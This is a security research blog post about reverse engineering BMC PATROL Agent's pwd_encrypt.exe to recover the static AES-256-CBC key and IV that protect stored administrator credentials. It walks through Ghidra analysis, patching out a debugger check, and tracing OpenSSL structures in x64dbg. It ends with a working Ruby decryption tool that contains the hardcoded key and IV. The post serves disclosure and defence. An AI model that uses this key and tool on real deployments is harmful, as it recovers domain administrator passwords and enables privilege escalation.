ZX Security


Reverse engineering BMC PATROL Agent for static keys and IVs

A dive into BMC PATROL Agent and the security issues within.

Authored by Daniel Wood

Published on

Overview

We first encountered BMC PATROL in early 2021, when we found that one of our clients had deployed an outdated version on a significant number of their Windows VMs. The installed version was affected by multiple publicly disclosed vulnerabilities, one of which was a cryptographic weakness in the way it protects credentials. BMC PATROL Agent through 11.3.01 requires the credentials to an administrator account as part of its initial setup, and (by default) relies on a static encryption key as the only means of protecting them (CVE-2019-8352). If the software is installed on a domain controller, this account must also be a domain user and is required to be a member of the Domain Administrators group.

Many of the vulnerabilities in BMC PATROL were discovered by Ryan Wincey of Securifera, who has written an excellent series of articles on the topic. BMC has publicly disputed a number of these issues, implying that it is the responsibility of its customers to modify the software’s insecure default configuration. The static key and initialisation vector used by PATROL are not publicly available as of June 2021. This article details the approach we took to reverse engineer the software and obtain these static secrets.

BMC PATROL

The story of BMC PATROL begins in the early ’90s with an ex-Oracle employee named Martin Picard. As a single-handed sailor, Picard developed a system of sensors and alarms that would wake him up if anything unusual happened to his boat. Picard soon realised this idea could be applied to distributed computer systems: as software that could monitor applications on networked machines and send metrics back to a central server. Picard founded Patrol Software in 1991, a pioneering company that would go on to build one of the first solutions of its kind, and in just three years was acquired by BMC for $36,000,000.

How it works

The underlying functionality of BMC PATROL is provided by the following components:

  • PATROL Console Server - The central server which receives information from Agents and delivers it to various administration consoles.
  • PATROL Agent - The service which runs on each monitored machine, gathers information and sends it back to the PATROL Console Server.

The vulnerabilities

CVE-2018-20735

The PATROL Agent service ships with a command-line tool known as PatrolCli. This program can be used to execute commands from the context of the PATROL Agent service and provides a network feature allowing authenticated users to execute these commands on remote machines. The main caveat here is that user authentication is performed entirely on the local machine, and doesn’t require the user to have any permissions (or even exist) on the remote computer. Early versions of BMC Patrol allowed any user to login with PatrolCli and execute commands as nt authority\system, which was reported by Securifera as a privilege escalation vulnerability (CVE-2018-20735) and subsequently disputed by BMC as a configuration issue.

CVE-2019-8352

The account used by PATROL can be changed using the defaultAccount configuration option. This is the same account that can be accessed from the PatrolCli tool and must be a local administrator (or domain admin if run on a DC) for the software to function correctly. Ryan Wincey of Securifera discovered that PATROL Agent through 11.3.01 uses a static encryption key to protect the defaultAccount credentials (CVE-2019-8352), and relies on this encryption when sending the credentials over the local network.

A lesser-known fact is that the PATROL configuration tool (pacfg.exe) will save these credentials in world-readable log files, providing a simple privilege escalation vector for local attackers.

We encountered the pacfg.exe log files during the penetration test mentioned earlier, and found that our client had set the defaultAccount to a high-privileged domain user (which appears to be a common configuration):

"/AgentSetup/defaultAccount" = {
REPLACE="domain\\bppmservice/
$-2$-$4612D1E235E9D3F597522FFC16BC7084C0793C4C94A19E5F83A7419019649F3004AAA25
AF89609A95848BBA9FADE3B60"

The pacfg.exe configuration tool uses the standalone pwd_encrypt.exe utility to encrypt the administrator credentials during the PATROL setup process. We began testing this binary by encrypting strings of different lengths, which indicated that it uses a 128-bit (16 byte) block cipher:

  • 2 byte input => 16 byte output
  • 16 byte input => 16 byte output
  • 17 byte input => 32 byte output
  • 32 byte input => 32 byte output
  • 33 byte input => 48 byte output

A well-kept secret?

The secret key and initialisation vector used by PATROL Agent are not publicly available as of June 2021, likely because the software is proprietary and not publicly available for download. The steps in this article can be followed to extract this information from the binary, and we have provided a simple decryption tool later in the page.

Reverse engineering

Hunting for OpenSSL structures in Ghidra

Ghidra’s initial analysis identified a number of common imports from the C standard library and Windows API, but nothing much in regards to encryption. We then inspected the strings windows in Ghidra, which quickly gave us some useful information:

BMC found strings

These strings gave us some insight into the way the tool was working:

  • Encryption primitives are provided by the OpenSSL EVP library.
  • Passwords are encrypted using AES-256 in CBC mode.

We used Ghidra’s Function ID analyser to map out some of the OpenSSL functions but found that it came up short when identifying the EVP functions used for the actual encryption.

Scrolling further through the strings window, we came across an interesting debug string which appeared to be referencing the cipher’s IV:

1400cd2c0: "EVP_CIPHER_CTX_iv_length(ctx) <= (int)sizeof(ctx->iv)"

We searched the code for references to this string, and found it was used by the following function:

undefined8 FUN_1400026e0(int **param_1,int *param_2,longlong *param_3,longlong param_4,int param_5)
{
  [...]
        iVar2 = FUN_140001800((longlong *)param_1);
        if (0x10 < iVar2) {
          FUN_14000a3e0(".\\crypto\\evp\\evp_enc.c", 0xee,
            "EVP_CIPHER_CTX_iv_length(ctx) <= (int)sizeof(ctx->iv)");
        }
  [...]
}

From this debug string we could safely assume that FUN_14000a3e0() is a logging function, and FUN_140001800() corresponds to the EVP_CIPHER_CTX_iv_length() function from OpenSSL EVP.

Digging into the OpenSSL source code we could see that the ctx argument passed to EVP_CIPHER_CTX_iv_length() contains a multi-level pointer to the cipher’s IV length:

int EVP_CIPHER_CTX_iv_length(const EVP_CIPHER_CTX *ctx)
{
  return ctx->cipher->iv_len;
}

We inspected the EVP_CIPHER_CTX type, noting it was a typedef for struct evp_cipher_ctx_st, and found that it contains a pointer to the underlying EVP_CIPHER object used for encryption:

struct evp_cipher_ctx_st
{
  const EVP_CIPHER *cipher;
  [...]

EVP_CIPHER is itself a typedef for struct evp_cipher_st, which contains references to the information we were looking for:

struct evp_cipher_st
{
  int nid;
  int block_size;
  int key_len;        /* Default value for variable length ciphers */
  int iv_len;
  unsigned long flags;    /* Various flags */
  int (*init)(EVP_CIPHER_CTX *ctx, const unsigned char *key, const unsigned char *iv, int enc);
  [...]

The key and IV are passed to the init function as arguments, with the length of these values being stored in the integers key_len and iv_len.

A good trick when working with known structs is to map them out in Ghidra’s data structure editor (a nice guide for this can be found here). To make the code more readable, we renamed the functions in Ghidra and changed the data types accordingly:

int8_t do_EVP_stuff(evp_cipher_ctx_st *ctx,int *param_2,longlong *param_3,longlong param_4, int encrypt)
{
  [...]
        iv_len = EVP_CIPHER_CTX_iv_length(ctx);
        if (0x10 < iv_len) {
         debug_message(".\\crypto\\evp\\evp_enc.c", 0xee,
            "EVP_CIPHER_CTX_iv_length(ctx) <= (int)sizeof(ctx->iv)");
        }
  [...]
}

Grabbing the key at runtime

With this information in hand, we hatched a simple plan to find the secrets:

  • Run pwd_encrypt.exe with a debugger attached.
  • Rebase the memory addresses in Ghidra, so we can locate the EVP_CIPHER_CTX_iv_length() function.
  • Use the debugger to step through the code and grab the key/IV from process memory.

We started by loading pwd_encrypt.exe into x64dbg, providing a string for encryption with the File > Change Command Line dialog:

Change command line dialog box

IsDebuggerPresent?

Looking at the symbol table in x64dbg, we saw that the binary imports IsDebuggerPresent() from kernelbase.dll, which could inform the process that we had attached a debugger. The routine works by reading the current thread’s Process Execution Block at GS:[0x60], and looks for the BeingDebugged flag at offset 2:

mov rax, qword ptr gs:[60]
movzx eax, byte ptr ds:[rax + 2]
ret

Using this function doesn’t really provide any effective protection against debuggers, and a simple bypass was applied by patching the code to return 0 at all times:

BMC IsDebuggerPresent

Rebasing in Ghidra

When the Windows PE loader first loads a program, it adds a constant offset to the executable’s memory addresses. To account for this offset, we found the pwd_encrypt.exe module’s base address in x64dbg, and set it as the new base address in Ghidra:

BMC memory map

BMC Ghidra rebase

At this point we found the rebased memory address for EVP_CIPHER_CTX_iv_length() in Ghidra, set a breakpoint on it in x64dbg, and resumed the process until the breakpoint was hit:

BMC breakpoint iv_length

Following the pointers

The Windows x64 calling convention uses the RCX, RDX, R8, and R9 registers to store the first four arguments to a function, with all remaining arguments being pushed to the stack. EVP_CIPHER_CTX_iv_length() takes a pointer to evp_cipher_ctx_st as its first argument, so we followed the address in RCX to inspect the struct in x64dbg’s memory dump:

BMC rcx follow

The first item of this struct is a pointer to the evp_cipher_st instance used for the encryption, so we treated the first 8 bytes as a memory address and followed it further in x64dbg’s memory dump:

BMC follow evp_cipher_st

Knowing that this memory stores an instance of evp_cipher_st, we mapped the data structure’s member variables to their offsets in the memory dump, and found some of the information we needed:

BMC follow evp_cipher_st annotated

  • block_size = 0x10 (16)
  • key_len = 0x20 (32)
  • iv_len = 0x10 (16)
  • *init = 0x7FF7DBFB2B70

We then set a breakpoint on the *init function and resumed the process until we hit the breakpoint:

Breakpoint on *init function

Returning again to the *init function, we could see that it takes a pointer to the key and IV as its second and third arguments:

int (*init)(EVP_CIPHER_CTX *ctx, const unsigned char *key, const unsigned char *iv, int enc);

To obtain these values we simply followed the addresses stored in RDX and R8 (as per the x64 calling convention), and found the static key and IV:

BMC static key and iv

At, first we thought we had made a mistake, considering how consecutive the values were. We created a simple ruby program to attempt decryption using these values, and found that (sure enough) these were the correct values:

BMC decryption

In the interest of helping users of this product make informed decisions about the impact of these issues, we have provided the source code for this decryption tool below.

BMC PATROL Agent <= 11.3.01 decryption tool

#!/usr/bin/env ruby
require "openssl"

if ARGV.length < 1
    puts "Usage: #{$0} <ciphertext>"
    exit 1
end

ciphertext = ARGV[0]
if /\$/ =~ ciphertext
    ciphertext = ciphertext[ciphertext.rindex("$") + 1...]
end
ciphertext = [ciphertext].pack("H*")

decipher = OpenSSL::Cipher.new("AES-256-CBC")
decipher.decrypt

# Default key (can be changed in PATROL Agent >= 10.7)
decipher.key = ["0102030405060708414243444546474861626364656667689192939495969798"].pack("H*")
decipher.iv = ["11213141516171810142639566470898"].pack("H*")

puts "Password recovered: #{decipher.update(ciphertext) + decipher.final}"

Conclusion

After 30 years since PATROL was first released, a multi-billion dollar market has grown around systems management software, and BMC is still well in the race (despite significant growth in competition). BMC PATROL is still actively used in corporate networks, having received its most recent update on March 19th 2021. Given that the software is prohibitively difficult to obtain without purchasing a license, it appears to have only received attention from the security community in cases where consultants and penetration testers have encountered it during an engagement.

BMC added a configuration option to change the static key (but not the IV) in PATROL Agent versions 10.7 and above, however, this option is disabled by default. Given that pwd_encrypt can be run by unprivileged users, it is unlikely that the custom key is protected against local attackers.